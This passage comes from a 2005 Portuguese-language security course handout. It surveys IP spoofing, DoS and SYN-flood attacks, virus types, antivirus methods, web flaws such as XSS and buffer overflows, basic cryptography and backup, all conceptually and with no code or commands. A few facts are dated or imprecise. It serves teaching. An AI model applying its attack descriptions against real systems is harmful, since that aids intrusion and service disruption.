7 Recusa de Serviccedilo tem por objetivo impedir que entidades legitimas realizem suas funccedilotildeesTipo DoS e DdoS8 Spoofing IP - Esta eacute uma teacutecnica dita altamente sofisticada onde uma maacutequina eacute autenticada poroutra atraveacutes de Pacotes IP indicando ser uma fonte segura Dado que um computador ldquoXrdquo podemanter uma comunicaccedilatildeo com um outro computador ldquoYrdquo sem a necessidade da constanteverificaccedilatildeo de autenticidade Um hacker pode se disfarccedilar informando para ldquoXrdquo que sua maacutequina eacuteldquoYrdquo Para isto ele deve ser capaz de gerar os nuacutemeros de sequumlecircncia que satildeo usados durante oldquoAperto de matildeosrdquo entre dois servidores uma forma de se obter tais nuacutemeros eacute enviar uma seacuterie desolicitaccedilotildees de conexotildees com ldquoXrdquo e guardar os nuacutemeros gerados Com o tempo o hacker podedescobrir como ele gera estes nuacutemeros Descoberto o processo de geraccedilatildeo dos nuacutemeros ohacker inicia uma conexatildeo informando ser ldquoXrdquo mas como ele natildeo eacute a maacutequina indicada ele age asldquoescurasrdquo Feito a solicitaccedilatildeo ele envia um outro pacote com o nuacutemero de sequumlecircncia e com istofecha a conexatildeo Uma vez fechada a conexatildeo o usuaacuterio passa a trabalhar em um canalunidirecional uma vez que ele natildeo reabriraacute os pacotes de resposta Uma forma de se evitar estetipo de ataque eacute configurar o roteador para que ele natildeo aceite pacotes internet que simulamoriginar-se de um endereccedilo local Outra forma seria a verificaccedilatildeo dos ldquologsrdquo e do arquivo de hostconfiaacuteveis caso haja uma conexatildeo ativa com algum destes hosts mas sem que hajam processosem andamento provavelmente um ataque estaacute em accedilatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 5 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20059 Negaccedilatildeo de Serviccedilo - Este tipo de ataque tem por objetivo deixar um ldquorecursordquo inoperanteldquomomentaneamenterdquo Existem basicamente dois tipos de ataques desta categoria o DoS e oDDoS este segundo se baseia no envio de uma grande quantidade de pacotes para um alvo deforma coordenada a partir de vaacuterias origens Devido a uma fragilidade do TCP (TransmissionControl Protocol) os endereccedilos da origem dos pacotes satildeo normalmente forjados Sendo que ostipos mais comuns de DoS se baseiam na prerrogativa que o cliente tem que aceitar a conexatildeo e

na limitaccedilatildeo de que um serviccedilo tem que aceitar um nuacutemero de conexotildees por vez Um doscuidados que devem ser tomados quando da configuraccedilatildeo dos equipamentos de rede eacute que elesnatildeo possam ser usados como fontes de ataques bem como contra os ataques propriamente ditosuma das formas de se fazer a segunda parte e retirar os serviccedilos que natildeo estatildeo sendo utilizadosoutra forma eacute realizar uma constante verificaccedilatildeo do traacutefico do site assim sendo quando umaatividade anormal for detectada uma atitude correspondente deve ser adotada como por exemplobloquear um endereccedilo de IPProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 6 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20052) MalwareDesde novembro de 1988 quando Robert Morris lanccedilou seu verme na internet a miacutedia apresentouo coacutedigo malicioso como se fosse um desastre natural o que natildeo deixa de ser uma verdade visto seusefeitos e como as pessoas se comportamOs viacuterus aleacutem de serem desastrosos para a produtividade de uma empresa devido ao seucomportamento epidecircmico ele pode consumir uma sensiacutevel parte da largura de banda de uma rede decomputadoresAtualmente existe mais de 40000 tipos distintos de viacuterus registrados Dos viacuterus conhecidos trecircs sedestacam pelo seu poder destrutivo e pelo seu modo de operaccedilatildeo O viacuterus ldquoMelissardquo desenvolvido porDavid Smith em 1999 causou um dano total de US$ 80 mil O viacuterus I love You causou um dano totalde US$ 10 bilhotildees e desativou mais de 10000 empresas incluindo o Departamento de Defesa NorteAmericano (DOD)Um dos motivos de raacutepida proliferaccedilatildeo do Viacuterus I love you foi causada pelo uso do cataacutelogo deendereccedilos do Microsoft Outlook Express e por explorar a curiosidade do usuaacuterioComo acontece no mundo real a cura para estas pragas estaacute sempre um passo atraacutes do seudesenvolvimento E atualmente os viacuterus deixaram de ser um pequeno incomodo se tornando uma realameaccedila para a comunidade comercial21) Ciclo de Vida do Viacuterus- Nascimento- Lanccedilamento- Proliferaccedilatildeo- Disparo

- Ativaccedilatildeo- Detecccedilatildeo- Eliminaccedilatildeo- Mutaccedilatildeo (volta ao primeiro estaacutegio)Os viacuterus podem utilizar vaacuterios meios de transporte originalmente os disquetes e os arquivosbaixados de BBS eram a principal fonte atualmente os e-mails e as redes promiacutescuas satildeo os dois maioresProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 7 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005grupos de risco de contaminaccedilatildeoAtualmente muitos viacuterus natildeo necessitam que o usuaacuterio executem um arquivo anexado basta abrir oe-mail ou visitar um site que o mesmo eacute automaticamente acionado22) Tipos de ViacuterusOs principais tipos de viacuterus satildeo1 Viacuterus de infecccedilatildeo de arquivos - um dos primeiros tipos de viacuterus Quando arquivosinfectados eram executados o viacuterus era automaticamente executado e se proliferavapara os demais arquivos executaacuteveis existentes no sistema2 Viacuterus do setor de boot - pouco comuns na atualidade foram uma praga no passadoeram carregados antes da execuccedilatildeo do sistema operacional e contaminavam todos osdemais discos inseridos no sistema Atualmente este tipo de viacuterus natildeo causa grandesdanos devido a funcionalidades incorporadas nos sistemas operacionais mais recentes3 Viacuterus de Macro - usam as linguagens de macro dos programas para infectar seusarquivos de dados Satildeo Viacuterus especiacuteficos dos programas e atacam principalmentedocumentos do Microsoft Word e Microsoft Excel4 Virus de Sript - satildeo escritos utilizando-se de programaccedilatildeo script principalmenteVisual Basic Script e Java Script normalmente ativos quando um e-mail eacute aberto ou umsite visitado5 Viacuterus Criptografado - foi o primeiro resultado da guerra entre desenvolvedores deviacuterus e anti-viacuterus como as assinaturas dos viacuterus satildeo normalmente sua forma dedetecccedilatildeo os viacuterus comeccedilaram a cifrar e embaralhar seus coacutedigos todas as vez que satildeoexecutados6 Viacuterus Polimorfico - satildeo viacuterus que possuem um sistema ativo de mutaccedilatildeo que natildeo

somente muda o viacuterus a cada vez que ele replica mas tambeacutem muda a rotina quedecifra Isto cria um viacuterus muito difiacutecil de se detectar Um exemplo de viacuterus destacategoria eacute One Half que criptoacutegrafa progressivamente o seu disco riacutegido tornando-oimpossiacutevel de ser lidoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 8 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200523) Outros tipos de Malware1 Cavalos de Troacuteia2 Vermes - satildeo aplicativos designados para se espalharem pelas redes e se replicarem satildeoindependentes de outros programas aos arquivos e geralmente causam danos por causa desua replicaccedilatildeo fora de controle3 Coacutedigo malicioso em Java - esta linguagem normalmente eacute utilizada na Internet na forma deldquoappletsrdquo eu satildeo manipuladas pelo browser A seguranccedila desta linguagem de sua maacutequinavirtual contudo eacute inevitaacutevel que algueacutem usaraacute o Coacutedigo Java para escrever um programamalicioso4 Coacutedigo malicioso em Active X ndash esta ldquolinguagemrdquo eacute de propriedade da Microsoft e assimcomo a Java pode ser utilizada para difusatildeo de coacutedigo malicioso Contudo contem assinaturasdigitais que verificam o nome do autor do programa Depois o browser verifica se vocecirc confiaou natildeo no fornecedor do software Contudo jamais permita automaticamente todos osaplicativos de um dado auto visto a possibilidade de se falsificar um certificado24) Tecnologias de antiviacuterusExistem vaacuterias teacutecnicas que podem ser adotadas pelos antiviacuterus das quais podem-se destacar1) Investigaccedilatildeo de assinatura2) Monitoramento de atividades3) Verificaccedilatildeo de integridadeOs Pacotes de Investigaccedilatildeo procuram assinaturas e consistem de duas partes1) Um banco de dados contendo as assinaturas conhecidas2) Software de pesquisa e anaacutelise dos arquivos em busca destas assinaturasOutra forma de investigaccedilatildeo eacute a ldquoInvestigaccedilatildeo Heuriacutesticardquo que procura coacutedigo suspeito estessoftwares convergem os arquivos para uma aacuterea ldquovirtualrdquo do computador ndash aacuterea de quarentena os executame testam seu comportamentoUma vantagem da Investigaccedilatildeo Heuriacutestica eacute que ela pode ldquopegarrdquo novos viacuterus antes mesmo de

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 9 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005ocorrer uma infecccedilatildeo ou do lanccedilamento do novo arquivo de assinaturasMas os investigadores podem oferecer ldquofalsos positivosrdquo contudo este problema tem sidogradativamente reduzidoOs ldquoMonitores de Atividaderdquo observam as accedilotildees que estatildeo sendo executadas no computador equando ocorre uma accedilatildeo suspeita o monitor envia um alerta para o usuaacuterio pedindo que o mesmo aceiteou rejeite a execuccedilatildeo do coacutedigo o que pode gerar certo niacutevel de inconveniecircncia ao usuaacuterioOs ldquoVerificadores de Integridaderdquo guarda informaccedilotildees detalhadas sobre os arquivos docomputador e setores do sistema Isso permite que ele possa determinar quando satildeo feitas mudanccedilas eentatildeo emitir um alerta ao usuaacuterioOs softwares antiviacuterus podem ser executados em trecircs locais distintos1048576 No Desktop ndash protegendo localmente os dados mas pode ser facilmente desabilitado pelousuaacuterio1048576 Nos Servidores ndash garante maior niacutevel de seguranccedila para os dados da rede mas podemsobrecarregar a operaccedilatildeo do servidor1048576 Nos Gateways da Rede ndash evita a entrada e saiacuteda de softwares maliciosos da rede Pode gerarum atraso na comunicaccedilatildeo contudo seu uso eacute altamente recomendadoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 10 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20053) Problemas de Seguranccedila da WEBQuando a WEB era formada por paacuteginas estaacutetuas natildeo havia possibilidade de realizaccedilatildeo decomeacutercio mas mesmo assim jaacute era alvo de ataques de seguranccedila como por exemplo a ldquodesfiguraratildeordquo doarquivo ldquoindexhtlmrdquoApesar de simples este ataque pode gerar a perda de credibilidade da empresa e a reduccedilatildeo daconfianccedila do usuaacuterioOutro tipo de ataque que jaacute era comum nesta eacutepoca era a alteraccedilatildeo ilegal dos servidores de ldquoDNSrdquoque permitem que sites fossem trocadosOs ataques de DNS natildeo geravam a perda dos dados da paacutegina mas causavam os mesmos danos acredibilidade e confianccedilaDurante estes ataques normalmente os ldquohackersrdquo utilizam-se da teacutecnica de ldquocamuflagem de IPrdquo aqual permite ocultar o endereccedilo de uma outra pessoa durante o ataque

Com o crescimento da web os sites de e-commece se tornaram o grande alvo dos hackers vistoque eles poderiam lucrar de vaacuterias formas principalmente financeiramenteA desfiguraccedilatildeo de Sites eacute o tipo de ataque mais simples e pode natildeo exigir grandes conhecimentosEacute o mais explorado pelos Script Kiddies Mesmo sendo um ataque simples ele causa seacuterios danos agraveempresa independente se o site eacute hospedado para ldquoterceirosrdquo31) Ataques de Negaccedilatildeo de ServiccediloApesar dos hackers ainda natildeo possuiacuterem uma uniatildeo eles trabalham em grupos de forma livrementeorganizada Estas caracteriacutesticas eacute que tornam este tipo de ataque possiacutevelO objetivo deste ataque natildeo eacute causar perda de dados ou acesso ilegal ao sistema E sim tornar oservidor incapaz de responder aos clientes reais que tentam acessar o siteUma das primeiras formas desse tipo de ataque era aplicado contra o sistema telefocircnico dedeterminadas organizaccedilotildees neste caso os ldquohackersrdquo simplesmente ligavam repetidamente para osnuacutemeros de telefones dos SACs impedindo aos reais cliente o acesso ao serviccediloProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 11 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Os hackers podem automatizar estes ataques atraveacutes dos ldquoZumbisrdquo que satildeo sistemas previamentecomprometidos para um ataque Este tipo de ataque pode caracterizar um DDOS no qual o invasor natildeopode ser diretamente rastreadoNovos Zumbis satildeo facilmente ldquoalertadosrdquo pois cada vez mais existem pessoas com acesso debanda larga nas quais conectam seus computadores de forma protegida para um longo periacuteodo de tempoDentre as ferramentas utilizadas pelos ldquohackersrdquo podemos destacar o Tribal Flood Network e oTrin00Tipos de ataque1) Ataque Smurf uma rede com pedidos ldquoPacket Internet Groperrdquo (PING) neste casoa rede eacute sobrecarregada com uma grande quantidade de pedidos e replicar de ping2) Ataque Fraggle este ataque usa o protocolo UDP ndash User Datagram Protocol damesma forma que o ataque smurf3) Ataque de Inundaccedilatildeo de SYN cliente e servidor trocam uma seacuterie de mensagensa fim de estabelecer uma conexatildeo O primeiro pacote eacute o SYN (abreviaccedilatildeosynchroneze ndash sincronizar)O noacute da rede responde ao cliente com uma mensagem SYN-ACK (synchronize

acknowledgment ndash confirmaccedilatildeo de sincronizaccedilatildeo) Durante o ataque o hacker natildeoenvia a confirmaccedilatildeo (ACK) deixando o host aguardando com uma conexatildeo meioalertaQuando o host atinge seu limite de conexotildees ele passa a recusar quaisquerconexotildees que chegarem incluindo as vaacutelidas Estas conexotildees alertas iratildeo expiar oteacutermino do ataque e a negaccedilatildeo do serviccedilo terminaraacuteO anonimato de um ataque de Negaccedilatildeo de Serviccedilo torna-o um ataque poucovisiacutevel mas com elevados danos agrave publicidade e agrave imagem da empresaApesar de serem faacuteceis de se gerar satildeo difiacuteceis de se impedir a uacutenica coisa quepode ser feita eacute tornar sua rede mais difiacutecil de atacar e seus computadores de setornarem ZumbiProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 12 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200532) Estouro de BuffferBuffers satildeo aacutereas de armazenamento temporaacuterio1) Possui tamanho limitado2) Estou de Buffer ocorre quando os dados excedem o limite3) Os dados excelentes podem alterar outras regiotildees de dados incluindo as instruccedilotildees doPrograma4) Pode ser utilizado para executar coacutedigo malicioso e abrir acesso ao sistema5) Existem em todos os sistemasSoluccedilatildeo1) Validaccedilatildeo dos dados antes de serem enviados para o buffer2) Pode atrasar as transaccedilotildees e reduzir a largura da banda3) A validaccedilatildeo deve ser feita principalmente no servidor33) Vulnerabilidade no campo do formulaacuterio1) Principalmente nos campos ocultos2) Campos podem ser vistos selecionando as opccedilotildees ldquoEXIBIRCOacuteDIGO FONTErdquo3) O hacker pode alterar estes campos antes de submete-los ao site4) Formulaacuterios com coacutedigo de sessatildeo tambeacutem satildeo vulneraacuteveis a este ataque e poderiampermitir a um hacker apanhar a sessatildeo de um usuaacuterio realSoluccedilatildeo1) Todos os dados retornados para um formulaacuterio devem ser verificados para o servidor2) Incluindo aqueles que o usuaacuterio natildeo possui ldquoacessordquo direto3) Java Script no lado do cliente reduz o problema mas natildeo resolve pois pode serdesabilitado34) Modificaccedilatildeo do arquivo de Cookie1) Cookies satildeo arquivos texto que guardam as preferecircncias do usuaacuterio

2) Satildeo arquivos natildeo cifrados logo podem ser facilmente alterados por um hackerProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 13 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200535) Scripts entre sites1) Um usuaacuterio pode ser atraiacutedo a executar um coacutedigo malicioso contra um site2) Pode ocorrer quando um usuaacuterio recebe um e-mail com um Hiperlink3) Ao clicar no link ele eacute direcionado ao site com o coacutedigo malicioso4) O servidor web aceita o coacutedigo pensando ser de um usuaacuterio confiaacutevel e o executa5) Este script poderaacute fornecer ao hacker informaccedilotildees confidenciais sobre o usuaacuterio36) Vulnerabilidades do Sistema Operacional e das Aplicaccedilotildees1) Haacute falhas de seguranccedila em todos os sistemas operacionais e aplicaccedilotildees2) Monitorar falhas e aplicar os patches3) Fornecedores relutam em publicar os pontos fracos4) Configuraccedilotildees mal feitas portas dos fundos e depuraccedilotildees tambeacutem podem deixar o sitevulneraacutevel5) Programadores tambeacutem podem deixar comandos de depuraccedilatildeo que foram uacuteteis durante odesenvolvimento mas agora representa um grande riscoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 14 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20054) A criptografia e seu usoA criptografia eacute a arteciecircncia de escrever de forma cifradacodificada Ou seja eacute o conjunto deteacutecnicas que permite reescrever uma mensagem ldquoclarardquo de forma incompreensiacutevel e permitir que somente odestinataacuterio entenda a mensagemA criptografia tem por finalidade garantir a privacidade atraveacutes do uso de algoritmos que trabalhamcomo funccedilotildees matemaacuteticas que mapeiam um dado de entrada em uma outra informaccedilatildeo na saiacuteda que eacute naverdade o texto cifradoA palavra criptografia vem do grego krypto = esconder + grafo = escritagrafiaA criptoanaacutelise eacute a ciecircncia de determinar a chave de criptografia ou decifrar as mensagens Acriptologia eacute a ciecircncia que combina ambas as anteriores E o criptanalista pode ser tanto o mocinhoquanto o vilatildeoOs componentes baacutesicos de uma estrutura de criptografia satildeo1) Dado de entrada - texto plano2) Funccedilatildeo de mapeamento - algoritmo de criptografia3) Segredo - chave que cifra eou decifra4) Dado de saiacuteda - texto cifrado41) Sistema Criptograacutefico

Estes sistemas podem ser baseados em dois tipos de algoritmos nos restritos e nos modernosAqueles que se baseiam nos algoritmos modernos podem ser simeacutetricos e assimeacutetricos Os sistemassimeacutetricos fazem uso de somente uma chave dai o seu nome jaacute os sistemas assimeacutetricos fazem uso deduas chaves a puacuteblica e a privada411) Algoritmos restritos1) O algoritmo eacute o segredo2) Natildeo eacute muito seguro3) Satildeo difiacuteceis de se desenvolver e distribuir enquanto continuam secretosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 15 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005412) EsteganografiaEsconder uma mensagem secreta em outra mensagem Exemplos1) Tinta invisiacutevel - mensagem publica usando ldquotinta normalrdquo e a secreta usando tinta ldquoinvisiacutevelrdquo2) Imagem graacutefica1) Incluir uma mensagem secreta dentro de uma ldquofigurardquo2) Ou em se cabeccedilalho de dados413) Cifras de substituiccedilatildeo1) Longo histoacuterico2) Substitui cada caraacuteter do texto puro para um outro siacutembolo na mensagem secreta3) As substituiccedilotildees podem ser arbitraacuterias ou podem ter um padratildeo determinado como umarotaccedilatildeo do alfabeto4) Satildeo faacuteceis de descobrir devido aos padrotildees de letra e frequumlecircncia em cada linguagemExemplo Taquigrafia Coacutedigo Morse American Standart Code For Informatran Interchange(ASCII)414) Cifras de Transposiccedilatildeo1) Mantem o coacutedigo puro intacto mas trocam ou misturam a ordem de alguma forma2) Uma versatildeo desta teacutecnica eacute a ldquoCifra de transposiccedilatildeo colunar simplesrdquoExemplo de funcionamento(1) Definiccedilatildeo da cifra originalTHIS IS A SIMPLE COLUMNAR TRANSPOSITION CIPHER(2) Definiccedilatildeo do formato da matrizFrase ndash 40 caracteresGrade ndash 8 colunas5 linhasProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 16 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005(3) Inserindo dados na gradeT H I S I S A SI M P L E C O L

U M N A R T R AN S P O S I T IO N C I P H E R(4) Reescrita da cifra = seguindo-se as colunas verticalmenteTIUNO HMMSN IPNPC SLAOIIERSP SCTIH AORTE SLAIRVersotildees mais sofisticadas usam padrotildees mais complexos como ziguezague pela gradeComo as palavras estatildeo mantendo a mesma frequumlecircncia esta teacutecnica eacute facilmente detectadae quebrada42) Teacutecnicas Modernas de Codificaccedilatildeo1) Usam algoritmos irrestritos e chaves para manter as informaccedilotildees seguras2) Superiores aos sistemas de algoritmo restrito3) Muitos possuem anos de resistecircncia agrave criptoanaacutelise intensa4) Muitas pessoas podem usar o mesmo algoritmo basta mudar a chave5) Quando a chave for comprometida basta gerar uma nova6) Duas teacutecnicas baacutesicas1) Criptografia simeacutetrica2) Criptografia assimeacutetrica ou criptografia puacuteblica7) Muitos sistemas usam ambas as teacutecnicas421 Criptografia Simeacutetrica1) Conhecido como codificaccedilatildeo de chave secreta2) Uma mesma chave utilizada para codificar e decodificar3) Desta forma a chave eacute o segredo4) Eacute muito utilizada em conexotildees seguras para realizar a troca das chaves temporaacuteriasProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 17 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Exemplo de algoritmos1) DES ndash Data Encyptron Standard2) Triple DES3) IDEA ndash International Data Encyption Algorithm4) Blowfish5) Rot 136) RCSEstes algoritmos podem ser de dois tipos1) Algoritmos de Fluxo ndash que trabalham com o texto um byte por vez2) Algoritmos de Bloco ndash trabalham sobre blocos de tamanha fixoOs sistemas simeacutetricos satildeo mais simples e mais raacutepidos do que aqueles de chave puacuteblica (1000 vezesmais raacutepido) mas possui a desvantagem de que dois usuaacuterios distintos tenham conhecimento do mesmosegredo (chave) Ambos os usuaacuterios satildeo responsaacuteveis pela seguranccedila da chave422 Criptografia para chave puacuteblica (assimeacutetrica)Foi criada em 1976 por dois matemaacuteticos de Stanford Whitfield Diffie e Martin Hellman Esta

resolve o problema do uso da chave secreta existente na criptografia simeacutetrica para tal faz uso de duaschaves (privada - cifra e puacuteblica- decifra) Estas duas chaves satildeo diferentes contudo possuem umrelacionamento matemaacutetico todavia natildeo eacute possiacutevel derivar a chave privada a partir da puacuteblica e vice-versaelas se baseiam em nuacutemeros primos fatoraccedilatildeo logaritmos e outras funccedilotildees matemaacuteticas Neste caso otamanho da chave eacute quem determina a eficiecircncia do processoO principal deste tipo de criptograma eacute o RSA criado por Ron L Rivert Adi Shamir e LeonardAdelman a seguranccedila deste algoritmo se baseia na dificuldade de se fatorar nuacutemeros extensos Segundopesquisadores para desvendar o sistema RSA Data Security usando uma chave de 760 bits seriamnecessaacuterios 4300 computadores e 50 anosO uso destas chaves permite o estabelecimento da conexatildeo segura entre duas entidades sem opreacutevio conhecimento das chaves Visto que quando uma entidade ldquoXrdquo precisa enviar uma mensagem paraldquoYrdquo ela usa a chave puacuteblica de ldquoYrdquo para cifrar a mensagem e somente a entidade ldquoYrdquo seraacute capaz dedecifrar a mensagem pois ldquosomenterdquo ela conhece a sua chave privadaProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 18 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005423 Criptossistemas HibridosEstes sistemas fazem uso do sistema de chave puacuteblica apenas para realizarem o envio e troca dechaves para a transmissatildeo de dados eacute utilizada a criptografia simeacutetrica e a chave enviada anteriormente OCriptossistemas hiacutebridos aproveitam o melhor das duas tecnologias Um exemplo de sistema hiacutebrido eacute oimplementado pelo protocolo ldquoHTTPSrdquo largamente usado em e-commerceExemplo de funcionamento 43) Outros recursos dos criptossistemasAleacutem da confidenciabilidade os criptossistemas podem ser estilizados para a autenticaccedilatildeoverificaccedilatildeo de integridade e reconhecimento1) Autenticaccedilatildeo ndash permite garantir que uma pessoa eacute quem realmente afirma ser2) Integridade ndash garante que os dados natildeo foram alterados durante a transmissatildeo3) Reconhecimento ndash garante que o emissor de dados eacute uma pessoa especiacutefica e que odestinataacuterio realmente recebeu os dados Impede o repuacutedio de informaccedilotildees431)Meacutetodos de seguranccedila que utilizam criptografiaAtualmente a criptografia estaacute sendo largamente utilizada para proteger de vaacuterias formas os dados

que estatildeo em tracircnsito pela rede ou armazenados nos discos oacuteticos e magneacuteticos das maacutequinas Dentre osmeacutetodos atualmente disponiacuteveis podemos destacar4311)Funccedilatildeo de Hash Unidirecional1) Permite verificar a integridade de uma mensagem ou bloco de dados2) Eacute um valor exclusivo a mensagem3) Serve como impressatildeo digital4) A mensagem original natildeo pode ser derivada a partir do HashDentre os algoritmos que fazem uso desta teacutecnica podemos destacar Secure Hash Algorithm ndashProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 19 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20051 (SHA ndash 1) RIPEM MD5 e HAVAL4312) Coacutedigo de Autenticaccedilatildeo de mensagem (MACs)1) Garante a autenticaccedilatildeo e integridade dos dados2) Hash Unidirecional + chave secreta3) Semelhante a criptografia simeacutetrica4) Natildeo se preocupam em manter os dados secretos ou sua integridade4313) Assinaturas DigitaisPermite que o destinataacuterio de uma mensagem digital possa verificar a autenticidade do seuremetente E que a mensagem natildeo foi de forma alguma alterada durante o processo de transferecircncia vistoque uma assinatura digital que tenha sido verificada natildeo pode ser negada ela fornece um elevado niacutevel deconfianccedila no processo de transaccedilotildees eletrocircnicas e autenticaccedilatildeo de documentos digitaisO processo das Assinaturas Digitais se baseia na existecircncia de duas chaves uma puacuteblica e umaprivada Neste caso o remetente codifica a mensagem utilizando a sua chave privada e somente o usuaacuterioque possui a sua chave puacuteblica poderaacute ler a mensagemUma assinatura digital possui as seguintes propriedades1 Garante a Autenticidade2 Natildeo pode ser forjada3 Natildeo eacute reutilizaacutevel4 Natildeo pode ser repudiada5 Vaacutelida certificados6 Pode ser utilizada em assinaturas eletrocircnicas7 Autentica verifica a integridade e faz o reconhecimento de mensagem8 Pode ser utilizada como Hash de um documentoAlgoritmos1) RSA2) Digital Signature Algotithm (DSA)3) Digital Signature Standard (DSS)Usa a chave privada para assinar o documento e o destinataacuterio usa a sua chave puacuteblica paraverificar sua assinatura

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 20 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20054314) Certificados Digitais1) Permite reconhecervalidar certificados emitidos2) Verificaccedilatildeo das chaves por um terceiro de confianccedila ndash autoridades de certificado (CAS)3) Possuem uma taxa de ativaccedilatildeo e validade4) Um certificado digital eacute composto da chave privada e publica do indiviacuteduo mais a assinatura daCA5) Autoridades certificadoras Versign Inc Secure Net Technologia6) Alguns governos como Estados Unidos e Brasil funcionam como certificadores7) Algumas instituiccedilotildees possuem sua proacutepria autoridade para codificaccedilatildeo interna de dados4315) Kerberos1) Serviccedilo de autenticaccedilatildeo (MIT)2) Cifras para codificaccedilatildeo e autenticaccedilatildeo3) Constituiacutedo de um Banco de Dados de Cifra4) Apoacutes o login gera e distribui as chaves de sessatildeo5) Quando o autenticador eacute quebrado todo sistema pode entrar em colapso6) Natildeo eacute indicado para uso entre domiacutenios de seguranccedila44 ) Principais Tipos de Ataques de Codificaccedilatildeo1) Ataque de texto conhecido - Baseia-se na suposiccedilatildeo de uma vasta quantidade de textos cifrados edas mensagens originais a que a funccedilatildeo do especialista criptoanalista eacute descobrir as chavesutilizadas2) Ataque adaptativo do texto escolhido (adaptative ndash choosen ndash plaintext) ndash Neste segundo casoele submete pequenos conjuntos de dados obteacutem o resultado analisa fornece um novo conjunto eassim sucessivamente ateacute que seja capaz de deduzir as chaves3) Ataque do texto cifrado escolhido (choosen ndash cyphertext) ndash o especialista possui uma vastagama de mensagem e os equivalentes dados cifrados mas eacute capaz de produzir uma mensagemcriptografada especiacutefica para ser decifrada e obter o resultado produzidoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 21 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20055) BackupEacute atraveacutes do processo de backup que podemos garantir a seguranccedila de vaacuterios tipos de dados Esteprocesso consiste em realizar uma coacutepia total ou parcial de forma on-line ou off-line dos dados armazenadosnas estaccedilotildees de trabalho eou nos servidores de um determinado ambienteContudo dependendo as caracteriacutesticas do ambiente e das necessidades presentes do mesmo o

processo de backup pode variar largamente deste modo se faz necessaacuterio o uso de criteacuterios paradeterminar a melhor forma para sua realizaccedilatildeo Deste os criteacuterios que podem influenciar o processo debackup satildeo1 A quantidade de dados a serem protegidos2 A frequumlecircncia com que os dados devem ser copiados3 Tempo de realizaccedilatildeo do backup e do restore dos dados4 A confidencialidade fornecida pelo processo5 O custo do processo e o valor das informaccedilotildees6 O prejuiacutezo gerado pela perda parcial ou total dos dados51) Meios de armazenamentoDefinida as necessidades baacutesicas a serem atendidas devemos selecionar um do tipos dearmazenamento que podem ser on-line Proacuteximos e off-lineAs miacutedias de armazenamento on-line consiste em discos riacutegidos ou arrays de discos Estas miacutediasfornecem uma disponibilidade em tempo real e satildeo normalmente utilizados para fornecer uma formaaltrnativa de armazenamento Estas miacutedias natildeo substituem os backups offlineO armazenamento proacuteximo eacute formado por ldquoJukeboxesrdquo oacuteticos e coacutepias locais que estatildeorapidamente acessiacuteveis normalmente fazem uso de robos para gerenciarem as miacutedias fornecendo umacesso raacutepido aos dados quando o serviccedilo on-line natildeo estaacute disponiacutevelJaacute o armazenamento off-line consiste no arquivamento de miacutedias fora da rede de dados em um localseguro e protegido contra roubo cataacutestrofes naturais e outros ameccedilas Sempre que possiacutevel as miacutediasdevem ser armazenadas em local geograacuteficamente diferente e fora das instalaccedilotildees comerciais da empresaPara a realizaccedilatildeo deste tipos de backup podem ser utilizadas trecircs tipos de miacutedias diferentesfitasdiscos magneacuteticos armazenamento oacutetico e arrays de discoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 22 de 71Apostila do Curso de 